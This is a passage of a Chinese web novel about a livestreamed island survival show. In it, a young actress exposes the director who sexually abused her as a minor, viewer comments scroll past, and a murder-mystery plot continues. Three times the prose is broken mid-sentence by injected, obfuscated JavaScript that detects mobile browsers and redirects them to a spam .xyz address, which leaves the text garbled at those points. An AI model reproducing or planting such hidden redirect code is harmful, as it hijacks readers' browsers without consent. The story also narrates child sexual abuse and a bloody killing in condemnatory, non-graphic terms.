看着那些飞快闪过又持续发出重复话语的弹幕,眼泪和雨水混合着一起滑过杜小凡的脸颊。眼泪流过的皮肤燃起一阵热意,她分不清那到底是灼烧之痛还是滚烫暖意。 “各位,我忍不下去了。”杜小凡在雨中坐起身,那双黑黢黢的大眼睛重新亮起高光,对着全球直播摄像头,一字一句地说,“我要实名举报,揭露我经纪人芮蓉和王良奥的罪行。” 全球弹幕此刻寂静无声。 就连李若水上空的未来弹幕也默契般地空屏,静悄悄地等待着杜小凡穷途末路却又绝地逢生的发声。 “我,为我之前的胆小懦弱和虚荣肤浅道歉。” “我在十四岁那年遭到王良奥诱女干,那种不正当的关系并非我本意。”杜小凡声音颤抖着,“事后,我也想过报警,可是王良奥和芮蓉每时每刻都在提醒我,他后台有多么强大,人脉有多么广阔,告诉我报警没用,只会闹得满城风雨,到时候我连艺人也当不成,于是我害怕了,我退缩了。” 杜小凡闭了闭眼。 “之后,我给自己不断洗脑,沉浸于这种关系所带来的资源和好处,告诉我自己,这在这个圈子是常见的事,这是正常的关系,这不丢人,也不耻辱。” “芮蓉告诉我,王良奥只喜欢小女孩,没有一个情人超过十八岁,所以我想等到十八岁,我就可以自由了。我太傻了,我根本没想过,哪有什么自由?在王良奥眼里,废弃的玩具,只有销毁一种结局。” “王良奥尝试用针剂、视频和风险合同控制住我,他是想把我逼到绝路,逼我自杀,到时候一切真相都会消失。” 杜小凡抬起头。 “今时今日,我受到的所有反噬全都活该。可我父母是无辜的,他们只是一对朴实工作的、希望儿女有个好前途的父母,他们不该受我牵连。” “十一区钢铁厂的工人们受我牵连,遭王良奥报复,他们也不该遭遇如此命运。王良奥躲在幕后,玩弄人命,双手沾满鲜血,罪大恶极。” “我在这里恳请全体侦察员,尽快立案逮捕王良奥。十一区医疗资源落后,请前三区调动资源,救救我的父母和钢铁厂工人及其家属!” 杜小凡深深地弯下腰,朝着镜头,鞠了一躬。 [事情捋清楚了,但是我还有一点没懂。她真正的父母到底是谁?] [杜小凡,你为什么要伪造父母身份?这个点不说清楚,我们路人无法相信你。] [小凡,你的父母到底是谁?你经常晒出来的那对夫妇不是你的父母?] “他们不是我的父母。”杜小凡含泪摇头,“我八岁签给芮蓉之后,芮蓉告诉我的父母,可以帮我把户口、学籍全部转到第八区,让我脱离后三区,成为真正的第八区人。” “她说,现在流行的是白富美人设,我自己真实的家世不会有人崇拜我、喜欢我。我父母没什么文化,为了我的前途,他们办理了送养手续,把我的户口迁入了第八区的一户夫妇家里,那户夫妇是芮蓉联系好的,足够让我身份荣耀的假父母,是一对常年驻地达加奥的科学家。” “科学家的身份,让他们常年不出现有了合理的理由,常驻达加奥让我规避了被揭穿的风险。从此,我摇身一变,成了第八区的白富美小千金,帝国大科学家的女儿。” “从此以后,我没有再和我父母联系过,我恨他们,就这样把亲生女儿卖掉了,我总是想,是不是我在他们心里,就是一件可以交易的商品?” “后来我逐渐明白,那是一种深切的爱,是认为自己会拖累女儿,生怕自己的眼界耽误了女儿的前途,是不得已的一种选择。但我已经形成惯性,羞于表露出我的后悔和愧疚。” 杜小凡轻轻说:“你们还记得,DDDxf吗?” [当然记得……] 杜小凡的站姐说。 所有的粉丝都对那对老夫妻印象很深刻,看得出来他们不怎么会用that,可是对杜小凡满怀一腔热爱,努力地跑现场,努力地做数据。 当时,群里还笑称,这是杜小凡的爸妈粉。 [难道……] [我的天——] 弹幕里有人轻声惊叹地说。 “他们,就是我的父母……”杜小凡的啜泣梗在喉咙里,几乎说不下去了,“我不是什么第八区白富美,我是十一区贫民窟的孩子,我是钢铁厂的孩子,这有什么丢人的吗?” “我从小在后三区长大,从小在钢铁厂长大,这样的身份,就不配做艺人吗?我再也不想伪造成另一个人,另一个身份,我想真实地活下去。” [配!怎么不配!当艺人本来就是看天赋和实力,哪条规定的还需要看家世?] [杜小凡你今天说出来就好,从此以后你大胆往前走吧,我们在背后给你当后盾!] [太骇人听闻了,光鲜亮丽的明星怎么会遭遇这种事?] [杜小凡,口说无凭,你说的一切都有证据吗?] 杜小凡看了看弹幕,点点头:“我有证据。” 她含泪道:“我手里有我和王良奥第一次发生关系的碟片。那一天是在玫瑰花园酒店,王良奥有特殊癖好,他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530628|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 套房内常年开启摄像头,他会定期去酒店取光碟,拿回家私藏观看。” “这些,我都知道,可我心存侥幸,以为只要我听话,他只会私藏,不会拿来威胁我……” “那张碟片的开始和结尾,完完整整地录下了王良奥如何胁迫我进套房,如何威胁我不要报警的话。” 摄像头黑漆漆的反光镜面变成了天花板上玫瑰花纹路里的镜头。 王良奥出门后,杜小凡在床上躺了很久,终于披上衣服,跌跌撞撞地走出门。 那时候,她只想一死了之。 “等一等,小姐。” 身后有人叫住她。 她回头,几步远的走廊上,立着一个模样很好看的男生,穿着玫瑰色的酒店制服。 男生见她回首,立刻同手同脚地朝她跑来。虽然跑步的样子很笨拙,但是掩盖不住他漂亮的脸庞。 男生气喘吁吁地停在她面前。 “小姐,请等一下,你在套房内遗漏了东西。” 大概是王良奥落下的东西吧。 尽管沉浸在浓浓的悲伤和疲惫里,杜小凡还是努力地打起精神,回复他说:“谢谢,不过那不是我的东西,你交给昨晚的男士吧。” 男生明亮的眼睛直视着她。 他把一张包装精美的薄片塞到她手里:“我想这个东西一定得交给你。” 杜小凡无精打采地垂下眼,这是一张黑色的音乐碟片,封面有几道白色的蜡笔波纹,波纹上方是色彩浓烈的一轮红日。 “这是……” “这是你遗漏的吧?”男生眼睛弯了弯,“既然是喜欢的东西,千万不能丢了啊。” “不是……”杜小凡想要拒绝,他一定是搞错了,她第一次来这个酒店,哪有什么专辑。 但抬起头,灰暗的眼神对上那双溢满明亮光芒的眼睛,脱口而出的话又咽了回去。 男生郑重地将她的手握成拳,握住那张专辑,转身跑回了走廊尽头。 回到家,将光碟插入电脑,她才发现那是昨晚的全程录像,一开始,她几乎崩溃,以为那个男生是在恶意羞辱她,想把光碟掰碎,掰了几下也没掰碎,反而双手被划伤得血淋淋。 她冲入卫生间放声大哭。哭着哭着,听到外间播放到结尾,听到王良奥威胁的话语,才终于明白那个服务生的用意。 “那一刻我终于理解了,他的好意。” 杜小凡的眼泪缓缓流下来,“他看到结尾,知道那里面有证据,想要交给我。” [那个服务生真是好人啊!玫瑰花园酒店是吧,我改天就去把这个酒店烧了,给这个服务生再找一份工作。] [帝国还是好人多,谢谢这个世界还有善良存在。] [如果不是那个服务生给小凡的光碟,现在小凡就只有死路一条了吧?黑子们会说她在造谣,现在证据确凿,可以立案调查了。] “如果你在看,我很想感谢你。”杜小凡眼含热泪,“谢谢你,拯救了我的人生。” 雨渐渐地变小,阳光穿过云层,射在草地上,金色的光芒下呈现出尘埃喷雾状的细雨,像一条阶梯式的通道。 [我的天啊,你们看啊,出太阳了!] [这是老天都听到了吗?小凡,你的黑暗结束了,从此你活在阳光里了。] [原来真的有天意存在。] [这就是传说中的外应吧?沉冤昭雪那种。] 众人齐齐转头,看着灰色的浓重云团被春风轻轻吹散开,金色的阳光播种般落在这片树林里,鸟叫、雨声、蛙鸣,都像上天奏响的乐器,宛如天堂的传音。 此情此景,美轮美奂,震撼得人不能言语。 燕南菲兴高采烈地回头,刚想叫人拍照,忽然惊叫道:“陈英喆,你怎么哭了?” “我是感动,我太感动了。” 陈英喆一条腿屈膝,另一条腿平放,手紧紧按在眼睛上,眼泪滴滴答答从指缝漏出来。 直播间的后台,忽然闪动出一行红色帝国政府消息提示。 [杜小凡女士,我是帝国总侦察局局长,请你即刻把证据寄来总侦察局,我们接受你的立案。] 红色弹幕说。 [我靠我靠我靠,前排合影!] [见证历史了,突然热泪盈眶怎么回事,这是互联网立案第一例吧?] [干得漂亮!恶人就该被绳之以法!] [请你不要责怪自己。] 红色弹幕继续在屏幕上打出文字。 [是我们没有保护好十四岁的你,没有让十四岁的你信任我们。] [善良的孩子,无罪。] 36. 抓捕中 今天是休息日。 第一区市中心如往常一样车水马龙,往来人群络绎不绝。 正值黄昏,晚霞将天际染成火烧般的赤红,商场高悬的电子屏幕上重复播放着杜小凡在树林中铿锵有力的告罪宣言。 这是本周最为震撼的全球爆点新闻——“新晋花旦控诉贵人导演X犯罪”,各家媒体杂志为吃上这一波流量的汤羹简直吵翻了天。 本次事件涉及全球直播,在二十三个国家都引发了轰动,这对帝国的公信力造成了极其恶劣的影响,皇室与政府都下达通牒,务必要将这次的事件妥善处理,让恶人得到严惩。 帝国第一区侦察所所长因疑似收受王良奥金钱贿赂已拘留调查,负责此次事件的副所长坐在审讯室的窗口,凝视着双手铐住、面容憔悴却犹带冷笑的芮蓉,转头问道:“王良奥还没抓到?” “没有。”侦察员说,“那狗东西速度可真快,我们这边刚立案,他那边已经抛下所有金银细软不见踪影。” “住宅搜了吗?搜出来什么没有?” “搜出来了,确实如杜小凡所说,书房后的暗柜里有大量非法录制光碟。”侦察员翻看记录,“但是她提到的针剂,我们一无所获。” “违禁支队怎么说?” “这是最奇怪的地方,违禁支队的暗线遍布黑市,各种货色不可能漏出他们的网。他们找暗线打听了…市面上并没有这种蓝色针剂。” 侦察员满脸困惑。 副所长沉默不语,他紧蹙眉头,瞳孔深处倒映出玻璃上反射的绯红色夕阳。火烧云翻卷奔涌,澎湃的晚霞与云层交织在一起,遮蔽着其间矗立高耸的大厦。 - 十二区,双生岛。 金灿灿的日轮一半隐入海面,一半仍浮于水上。久违的放晴让众人大感解脱,纷纷避开摄像头,脱下湿漉漉的衣衫,拧干了晒在树杈上。 “你不脱吗?”卜思雨奇怪地看了眼仍旧穿着毛衣的曹拓,“温度应该不会再降了,穿着湿衣服不难受?” 曹拓打出一个拒绝的手势,手指翻飞,又做出几个动作,卜思雨没看懂,也懒得深究,摊了摊手:“好吧,随便你。” 大家把野餐布扯开铺在湿润的土地上,罐头、矿泉水、果子……堆在一起,虽然简陋,却也像极了一场盛宴。 “虽然没什么吃的,但是必要的庆祝仪式还是得有。”裴婉命举起矿泉水,“祝小凡重获新生。” 十四瓶矿泉水相碰,清澈的水液在瓶中来回晃荡。 “祝小凡。” “祝小凡。” “我联系了帝国皇家医院的熟人,已经派直升机接伯父伯母回第一区治疗了。”萧铭温和道。 “真的吗?太好了!”杜小凡眼含泪花,激动道,“谢谢,谢谢萧哥!” [啊啊啊哥哥你真是个大好人。] [我替小凡谢谢萧哥。] [太好了,这下小凡不用担心了。] “真是没想到,王良奥居然是这种混账。”裴婉命板起脸的样子英气十足,义愤填膺道,“想到跟这种人合作过,还邀请他来家里做客,我真是想吐。” [对哦,她不提我都忘了这档子事,裴姐老公确实和王良奥关系好。] [咳咳,俗话说,蛇鼠一窝……] [楼上住嘴,裴姐是裴姐,她老公是她老公,裴姐的好大家有眼睛的都会看。] [交友不慎罢了,毕竟我们之前也没想到王良奥是这种人。] [就是啊,那贾老师还和王良奥关系好呢,萧铭还说王良奥帮他忙呢,难道他们都该死?不要搞连坐好不好?] 卜思雨小声问:“王良奥逮到了吗?” “没呢,还在抓捕中。” 燕南菲看了眼手机,眉毛扬起,正色道,“这个王良奥真是罪该万死啊,我看that话题里网友们吐槽说,扒出了他的私密小号,里面发的都是各个小女孩的部位照片,跟收集拼图似的,东发一个腿,西发一只脚,快把我恶心吐了。” 司理群说话了:“我看看。” 他翻动着燕南菲的手机屏幕,脸色铁青,翻到最后,长吁一口气,将手机还给她。 [司导也看不下去了吧,这等畜生!] [说实话,我今天看那个小号也看得想吐,太恶心了。] “好了好了,别提王良奥了。”裴婉命见杜小凡垂眸不语,伸手把燕南菲的手机拿过来倒扣在身侧,“手机我没收,谈谈接下来的打算吧,小凡,你接下来准备怎么办?” “我准备退出娱乐圈了。” 实时弹幕大惊失色。 [什么?] [小凡,不要啊!我们喜欢你!] [你长得漂亮又有天赋,为什么要退出呢?] [难道你真的相信了芮蓉的鬼话?你不要被她pua了,你不需要走什么身材路线,你睁眼看看啊,一开始也许是男粉居多,但是后来喜欢你的全是女粉,我们发自内心爱着你!] “我从小经常听到这样的话,说我长得漂亮,应该进娱乐圈赚钱。”杜小凡摇了摇头,嗓音略带沙哑道,“可是我自己知道,我性格敏感,并不适合这个圈子,也许退圈对我来说反而更幸福。” “而且,我现在的状态肯定是没法工作了。芮蓉是入狱了,但该履行的合同还得履行,各个代言和广告、电视剧的违约金也是一大笔数目,我回去凑一凑,找朋友借点,想办法偿还上,再考虑之后的事情。” [小凡,为什么,为什么你还是要离开,呜呜呜呜呜] [诸位,别哭了,作为粉丝,从爱上艺人的那一刻起,难道不是发自内心认为他们的幸福就是我们的幸福吗?如果小凡真的觉得在娱乐圈让她很痛苦,那就放她离开吧……算了,我打不下去了,我也很想哭。] 弹幕上,杜小凡的粉丝们哭成一团。 [都别哭了!] 是杜小凡的站姐。 [等你退出娱乐圈,我会关站。] [感谢你这么多年带给我很多很多的快乐,让我一潭死水的生活因为你荡漾起很多很多次的波澜。] 弹幕后,眼泪一滴滴地滴落在键盘上。 [我忘不了第一次给你做数据,第一次跑现场,第一次接机…因为你也有很多人喜欢我崇拜我,因为你我也认识了很多志同道合的朋友,你的梦想就是我的梦想,你构建了我的一整个世界,你红的时候我为你骄傲,你想退圈了我祝福你。] [你就好像是我做过的一个五彩斑斓的梦,现在,这个梦该结束了,谢谢你,杜小凡。] [去做让你觉得快乐、幸福、想做的事吧。] 杜小凡看着这些弹幕,吸了吸鼻子,用掌根拭去眼眶处的湿润,点点头:“谢谢,谢谢你们。” “这么多年,因为你们,我也感到很幸福。” [小凡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553339|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我哭死,祝你幸福!] [接下来还继续更博好吗答应我好的] [不要消失在这个世界上,不当偶像了也要继续发动态。因为我们看着你也会觉得很幸福。] “那你……接下来还继续登岛吗?”卜思雨问道。 杜小凡摇头道:“不登了,我放弃。” “我没有精力和体力来应对接下来的困难了,现在对我来说,登岛拿奖金就是个泡沫,还不如回去处理各种事情来得心里踏实。” 杜小凡瞥了眼求生袋里的迷彩烟,笑了笑,远眺海面:“我喜欢看海,我就留在这里边看海边等待救援吧,等太阳升起,也许会有渔民的船只路过,到时候我就搭船回去。” 众人都认同地点头。 狄马更是极其认真地说:“人生有很多条路,人也有很多种天赋,不一定要认死理拘泥于哪一条。有任何困难都可以找我,只要能帮得上忙,我一定帮。” 杜小凡对上那如父亲般和蔼的眼神,鼻头一酸,眼泪差点夺眶而出。 “我…很感激来参加这个节目,虽然本意是偷渡逃跑,但是冥冥之中走向了正轨。”杜小凡哽咽道,“谢谢各位前辈,特别是要感谢若水姐。” 李若水挥挥手,示意她不用客气。拧开矿泉水,刚喝了一口,面前的弹幕差点让她喷出来。 【不是,我真服了这些人,心怎么能这么大,树林里的死人你们是真不管啊?】 【凶手:啊?这就不管我了?这就庆祝上了?】 “咳咳咳……” 李若水被水呛咳到,下意识看向对面的陈英喆。男生从中午开始就没怎么说话,金发下是一张疲惫而沉默的面容,淡金色睫毛遮挡住眼眸,低着头,不知道在想什么。 “英喆,你在想什么?”李若水问道。 陈英喆抬起头,淡淡道:“若水姐,我累了,有点想家了。” 他颜色浅淡的瞳孔在日光中洋溢着泪一般的光泽,不禁让李若水心头一软。 可是想到他杀死的两个人,李若水咬咬牙,心又坚硬如铁起来。 她转头看了看正和身侧人交谈的杜小凡,轻轻地踢了女孩一脚。 杜小凡感觉到动静,诧异地回头望过来。 “跟我来。”李若水做了个口型。 杜小凡依言起身,两人一前一后走向更幽静的深处。 玫瑰色的光晕笼罩在树林上空,上层的树叶被染成鸦红色泽,在树影中轻轻摇晃。整个山峦呈现出绿与红的静谧与深沉,远处飘来浓郁的花香。 “怎么了,若水姐。”杜小凡不解地问道。 李若水认真地盯着她的眼眸:“接下来我说的话,你不要害怕。” “陈英喆,就是杀害闫文清的凶手。” 杜小凡愣住,那双乌溜溜的大眼睛瞪得更大。 “什、什么?”她失声道。 “别叫。”李若水捂住她的嘴,在她耳边说,“所以我需要你的帮助。” “午夜肿摸帮助里(我要怎么帮助你)?” 被手掌挡住,说也说不清话,杜小凡呜呜啦啦勉强问道。 李若水眼神变得锐利。 “明天,大部队先行,我会拉陈英喆一起留下来陪你等待渔船。” “到时候,你把他引到树林里,我有刀,也有身手,我会制住他。”李若水冷静道,“我会问清楚真相,让一切都水落石出。” 37. 三杀梦境 海风吹来潮湿腥咸的气息,像素模糊的摄像机镜头也挡不住小女孩的甜美。 焦距拉近,再拉近,低像素的噪点映衬出一张精巧得如天工锻造的脸庞,白得像雪,眉心微蹙,眼角是微微上翘的,睫毛是鸦黑的蝶翅。 她继承了母亲的身材比例,长手长脚,像个仙鹤,最普通的灰色穿在她身上,也变得脱俗而文艺。 她聪颖伶俐,琴棋书画样样精通。因为妈妈年少成名,她也从小立志,长大后要跟上母亲的步伐,成为一名享誉全球的影星。 认识的导演都说,你女儿长了一张忧郁的脸、一头忧愁的长发,是天生的文艺片主角。 “妈妈,妈妈!”声音由远到近,“你看我挖到的贝壳!” 这张脸在笑,小手举着白色的螺纹贝壳,贝壳上斑斑点点,她的笑声很吵,但在母亲心里却犹如喜鹊在绿枝上的吟啼,悦耳而动听。 “是吗?” 母亲蹲下身,温柔地抱她在怀里,女孩咯咯笑着,踢起白嫩的脚丫,脚背上有一颗艳红的小痣。 女人用手捏住小脚:“让妈妈看看你的脚有没有被沙滩里的小螃蟹伤到,佳明。” 视线聚焦的那一刻,明明平整光滑的脚背却裂开交错纵横的口子,红痣变成了鲜血,大股大股地涌出来。 女孩的笑声变成了阴森的啼哭:“妈妈,救我!妈妈,救我!” “佳明!” “佳明!!” 裴婉命喃喃念叨,一个翻身,从梦中惊醒,察觉自己是做了噩梦。 今夜,他们睡在树林里。 地上铺了野餐布和保鲜膜,睡袋就铺在其上。树冠在头顶向四面八方铺展开来,形成一顶幽深而墨绿的大伞。 重叠的树与树之间形成清晰的缝隙,月光从这些分割线中倾泻而下,像一层皎洁的薄纱。 身处孤独寂寞的荒岛,此时此刻,她分外想念女儿佳明。不由伸手从枕头下摸出手机,想要打电话给疗养院的护士,请她们帮忙拍张女儿的照片发来。 屏幕亮起常规的花纹原厂界面,轻轻一划,手机居然解锁了。 浮现出的界面是一张又一张小女孩的身体部位,有的是半张脸,有的是被抱在怀里的裸露白肤,有的是细弱手臂。各种肢体的小照组合成一个完整页面,看得人头皮发麻。 裴婉命紧皱眉头,想了一想,想起自己在树林里把燕南菲的手机倒扣在身边,这才明白过来。 两人的手机都是同一个品牌同一颜色型号,又都没做装饰,她是错拿成了燕南菲的手机。 “真晦气。” 裴婉命轻轻啐了一声。 她本人对王良奥的行事风格一直颇有诟病,但架不住丈夫牛志鹏眼馋王良奥手中的关系和资源,常一口一个“大哥”地示好吹捧,邀请王良奥来家里做客吃饭。 裴婉命虽然独立自强,在国际上享有盛名,能吃苦能赚钱,但骨子里依旧承袭了娘家信奉的那一套传统婚姻法则,认为这辈子最幸福的事就是相夫教子,做好一个贤妻良母。 丈夫牛志鹏虽不如她出名,但脑子活络,胆大精明,是个做生意的好材料。裴婉命自认脑筋笨拙,交友圈一向随着丈夫的心意而转圜,以丈夫为圆心,辐射丈夫想要结交的人群。 只是王良奥这次被爆出来的事情,实在令她万分恶心。 她滑动着屏幕上据说是王良奥的私密小号,连绵不断的照片让她越看越心惊肉跳,这到底是搜罗的网图,还是王良奥真实侵犯的实拍照片? 如果是后者,这么多年,王良奥侵犯过多少小女孩?这些女孩又是他从哪里找到的人肉资源? 翻到最后,她越看越觉得恶心,不愿再翻,索性倒扣手机,昏昏沉沉再次睡了过去。 李若水头也很昏。 她自小体质强韧,但这几天一直在雨里进出,又思虑过度,情绪激动,今天站在山坡里被风一吹,身体隐隐有发热的趋势。 睡前吃了粒感冒药,但好像对病情无济于事,额头越来越滚烫,被窝的热度热得能烘干汗水。 “水,我要水……” 李若水细若游丝地求救。 【主播好像发烧了。】 【我也觉得是,看她脸都潮红了,完蛋,主播不会死吧?】 【楼上不要乌鸦嘴,李若水在历史里都活了,我们给她开个直播就死了?】 【确实不利。】 墨绿色弹幕浮现在屏幕上。 【别看现在台风过去了,从天象判断来看,雷电和暴雨实际上还没结束。】 【如果今晚再次降温,李若水很有可能会发展成高烧,到时候就危险了。】 【靠靠靠,好急啊,怎么办,救不了主播我好恨!】 【恨我不是上世纪人!】 迷迷糊糊地看着弹幕,李若水瘫软在睡袋里,连喊话的力气都没有。被子坚硬如铁,宛如巨石般压在身上,如潮水般袭来的睡意渐渐将她淹没其中。 我要杀人。 我要杀人。 脑子里涌起一股强烈的恨意。 我上岛就是为了这个人。 我必须杀掉他。 黑暗里,竖长的身体像岩石一样沉默地伫立在角落里,手里紧紧捏着一块石头,微不可见地颤抖着。 为什么,为什么下不去手? 再狠一点心吧。 再狠狠心。 为了我最亲、最爱的人。 深夜的虫鸣像歌剧里高昂尖嗥的女声吟唱,音调上浮,越来越高亢,他的心也逐渐沉静而平稳,手里的石块变得很轻、很轻,轻得单手就能举起来,砸破面前这个人的脑袋,砸得他头破血流。 砸啊! 砸! 砸下去! 以眼还眼,以牙还牙。 以伤还伤,以命还命。 我甘愿落下十八层地狱, 只求将我所爱之人的痛苦加倍奉还! 砰——! 手里的石头,刹那间带着千钧的力道砸落,鲜血迸溅而出,喷射到自己的脸颊、头发和衣领上,就连脖颈上也全是血点,鼻间嗅到铁锈般的腥臭味。 睡着的人只是面部扭曲了一下,一声不响就丧了命。可是无尽的恨意让石头再次砰砰砰地砸下,带着满腔的怒火,直到睡袋里的头颅血肉模糊,这场杀戮才停止。 身影慢慢地在睡袋前蹲坐下来,抱着头急促地剧烈喘息,而后,爆发出一阵痛楚的嚎哭。 李若水在肺部喘不过气的痛苦中慢慢睁开双眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553340|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 迷蒙的双眼前飘满了五颜六色的弹幕。 【我真真真服了,我tm在吃午饭,吃西红柿炒蛋,结果你给我看这个?SVNT我莎了你!!!】 【这杀人狂到底杀了几个人啊?这是第三个了吧?】 【小区楼、闫文清,加上这个,是三杀没错,三杀狂者。】 【等等,你们先别八卦啊!这个人是杀了谁?是嘉宾之一吗?也就是说,刚刚又有一个人死了?】 【卧槽。】 【卧槽。】 满屏的卧槽。 李若水的目光越过这些弹幕,虚弱无力地看着对面的一排睡袋。中间的睡袋缓缓动了动,似乎是有人醒了。 她静静地等待着。 头发凌乱的身影从睡袋中慢慢地钻了出来。 睡醒的人屈膝坐在睡袋上,清辉的月光洒落在他金色的头发上。因为腿长,不得不躬身佝偻地坐着,这让他显得更像一条形单影只的大型犬。 他似乎察觉到被注视的窥探感,那双下垂的眼睛朝这边轻轻地扫过来。 两双眼睛对上,陈英喆的视线扫过李若水额头上被汗水浸透而湿漉漉的的碎发、因发烧而潮红汗津津的脸。 他的眼神逐渐从疑惑、探究变成恍然大悟的焦急。 陈英喆猛地站起身,朝这边走来。 李若水干裂的嘴唇动了动,想要说什么,额头像被铁锤重击了一下,脑门嗡嗡作响,顿时昏死过去。 【啊!!!】 【主播死了!!】 弹幕惊恐地惨叫。 “嘟—嘟—嘟——” 脑海里拉响刺耳尖利的警报声,李若水的大脑被这警笛声搅得更痛了。 她努力抬起眼皮,从两眼之间的缝隙中,她看见漆黑的深夜中忽然跳出一个亮着红光的长方形警报框——什么鬼? 这是她第一次看到弹幕以外的东西。 “警告!警告!” “宿主在本次梦境中承受大量负面情绪,身体状况接近极限死亡值,SVNT现已面向全体观众开启红色死亡救援公告!” 熟悉的机械声无情响起。 警报框渐淡消失,上空忽然涌进密密麻麻五颜六色的弹幕。 各种图标和ID像科幻数字代码一样蜂拥而至。 什么玩意?黑客帝国? 这是李若水眼前最后的景象。 她眼前一黑,失去感应。 - 【主播死了吗?】 【有人知道主播死了没?】 【不知道啊,什么也看不见。】 嗓子眼里还残留着被强制吞咽药的苦涩感,额头上搭着条冰凉的毛巾,李若水靠在树干上,缓缓睁开眼,模糊的视线逐渐聚焦在发问的弹幕上—— ? 她心里缓缓冒出一个问号。 刚醒来就看到有人问自己死了没的感觉可真好啊! 自己到底死了没,好难猜啊! 随着她眼前晃动的色彩慢慢沉淀,弹幕爆发出一阵欢呼。 【啊啊啊啊啊主播没死太好了!】 【太好了妈妈我今晚要多吃几碗大米饭!】 李若水:…… 谢谢,你们人真好。 38. 捕兽夹 “若水姐!” 远处传来一声惊叫。是惊喜的尖叫。 杜小凡用衣摆兜着一捧野果,颤颤巍巍地跑过来。她的脸庞因跑动而红扑扑,眼睛在金色的日光下反射出亮晶晶的光芒,像黄莺的瞳孔一样闪亮。 “若水姐,你醒了!”她放下野果,连滚带爬地扑到李若水身前,“吓死我了,我以为你活不过来了!” 李若水:“……” 上岛嘉宾不筛选情商的是不是? 怎么身边就没一个会说话的人呢? 杜小凡继续叽叽喳喳地说着:“昨晚你昏过去之后,大家都惊呆了,阚炆师兄都快疯了,我第一次看见他那么不冷静的样子……狄导把他拉住,又让我们给你喂了药,之后你慢慢退烧了,大家情绪才好了很多。” “我想起了咱们的约定,就说让我和陈英喆留下来照顾你,”杜小凡在李若水耳边轻声说,“你不用担心,我都布置好了。” 她轻轻捏了捏李若水的手。 “再说,还有这个。”杜小凡朝她摊开掌心,手心里摆着一颗小型的黑色圆球。 “狄导说我们三个人留在这里太危险,就把他的摄像仪给我了。陈英喆胆子再大,也不可能在全球直播的注视下杀人灭口。” 李若水心神一定。 还好,杜小凡虽然年纪虽小,但人很机灵,也很聪颖,能派上用场。 “你们在说什么?”陈英喆取下耳机,疑惑地看过来。 “你不用管啦,英喆哥,女孩子之间的悄悄话。”杜小凡俏皮地说。 陈英喆无奈地笑笑,不再问了。 中午,三个人就着矿泉水,吃了两袋压缩饼干。 求生物资大部分在先行的大部队那里,留给他们的并不多,在会合前,必须省着点消耗。 台风刚过境,梅雨天接踵而至,树林里闷热得要命,空气黏稠得像被胶水粘住,根本无法流通。 乌云在头顶上方悄然移动,厚重而深沉,遮住了晴朗的日光,土地陷入了一片深邃的暗影之中。 “这天,看着是又要下雨了,”杜小凡用手掌扇着风,“气象预报说得果然没错。” 陈英喆眼中染上几分担忧:“下雨倒不怕,就怕打雷。这岛上本来发电设备就简陋,再来一次雷电天气,万一损毁了网络信号,那可就真的孤立无援了。” “不会的。” 自从决定退出娱乐圈后,杜小凡状态也逐渐乐观积极起来,“凡事要往好处想嘛!” “就像我,本来正在发愁违约金的事情,”她捻起一颗野果塞进嘴里,“结果刚刚接到我律师的电话,他跟我说,有个神秘账户给我汇了一大笔钱,把我的违约金全部都付清了。” [我靠,谁这么好心?] [不会是王良奥愧疚发作了吧?] [楼上,你有病吧,王良奥现在行踪不明,还在逃窜被通缉中,你以为他圣父啊,还有空给杜小凡打钱。] [emmm那倒也是……] 李若水也替她高兴,但是高兴中又不免疑惑:“这钱能是谁打的呢?会不会是你朋友?” “不知道。”杜小凡无所谓地摊摊手,“我就当是哪个暗恋我的朋友先借给我一笔钱吧,等过了这阵困境,我一定找到这个救命恩人还给他。” “现在违约金也凑齐了,接下来回去准备做点什么?”陈英喆嚼着饼干,口齿不清地问道。 “嗯……我已经想好啦。”杜小凡双手合十望着天空,“我要开一家甜品店!” “甜品店?” 李若水和陈英喆同时困惑道。 怎么想,面前这个瘦骨嶙峋的女孩子看起来都和甜品不沾边。 杜小凡低头打量了一下自己。 “现在是不太像甜品店老板娘的样子啦,但是……”她吐了吐舌头,“其实我以前很爱吃的,也很擅长烘焙,尤其喜欢吃甜食,各种甜品也是我最爱打卡的地方。” “闻到蛋糕和奶茶的香气,我都会觉得幸福。” 她双眼亮晶晶:“我要开一家我自己的甜品店,努力做最干净、最好吃的甜品,等销量上来了以后,就把我爸妈接过来,一起过平凡快乐的生活。” [好啊,那以后就去小凡的甜品店打卡了。] [以后去第一区玩还能再见到小凡,太好了。] [不当偶像了也可以做朋友!欧耶!] 看着杜小凡充满憧憬和欣喜的双眼,李若水心里泛起一阵柔软。 在这个荒凉而破败的岛屿,终究还是有一件好事存在;终究,还是有一个人因为她的努力而活了下来。 